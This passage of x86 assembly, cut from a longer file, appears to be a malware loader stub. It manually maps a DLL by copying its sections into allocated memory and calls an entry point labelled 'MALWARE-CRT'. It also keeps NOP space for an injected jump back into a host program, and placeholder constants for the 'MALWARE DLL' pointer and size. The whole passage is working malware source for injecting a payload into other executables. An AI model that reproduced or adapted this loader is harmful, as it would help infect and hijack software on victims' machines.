  add edx,0xc                         ; RVA of section[i]
  mov edx,[edx]
  add edx,[ebp + OFF_VALLOCBUF]       ; VA of section[i]
  mov edi,ebx
  add edi,0x10
  mov edi,[edi]                       ; SizeOfRawData
  mov eax,ebx
  add eax,0x14
  mov eax,[eax]
  add eax,[esi + ESI_PTRDLL]
  ; copy one section
  pushad
  mov ebx,edx
  mov ecx,edi
  mov edx,eax
  call __ldr_memcpy
  popad
  ; next
  add ebx,0x28                        ; sizeof(IMAGE_SECTION_HEADER)
  loop __ldr_section_copy
  ; move arguments to registers
  mov eax,[ebp + OFF_ADROFENTRY]
  add eax,[ebp + OFF_VALLOCBUF]
  push eax                            ; MALWARE-CRT adr (AddressOfEntry)
  ; arguments
  mov ebx,0xdeadbeef                  ; identificator
  mov eax,[esi + ESI_PTRDLL]          ; save dll section address on stack
  mov edi,[ebp + OFF_VALLOCBUF]       ; dll base adr
  mov esi,[esi + ESI_SIZDLL]          ; size of dll
  mov ecx,[ebp + OFF_PROCADDR]
  mov edx,[ebp + OFF_KERNEL32]
  call [esp]                          ; call AddressOfEntry (MALWARE-CRT)
  pop ecx
__ldr_end:
  ; CLEANUP STACK
  add esp,STACKMEM
```

```
; restore old gpr+flag regs
popfd
popad
; cleanup stack frame
pop ebp
; NOPs (can be overwritten by the MALWARE if JMP to __ldr_start was injected
; replaceable nops (15 bytes max instruction length for x86/x86_64)
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
; `jump back` nops
nop
nop
nop
nop
nop
; return if call'd
ret
; CONSTS MODIFIED BY THE MALWARE
__ldr_ConstData:
call near __ldr_gotConstData

db DEADBEEF                          ; Pointer to MALWARE DLL
db DEADBEEF                          ; Size of MALWARE DLL
db DEADC0DE                          ; unused, end marker
```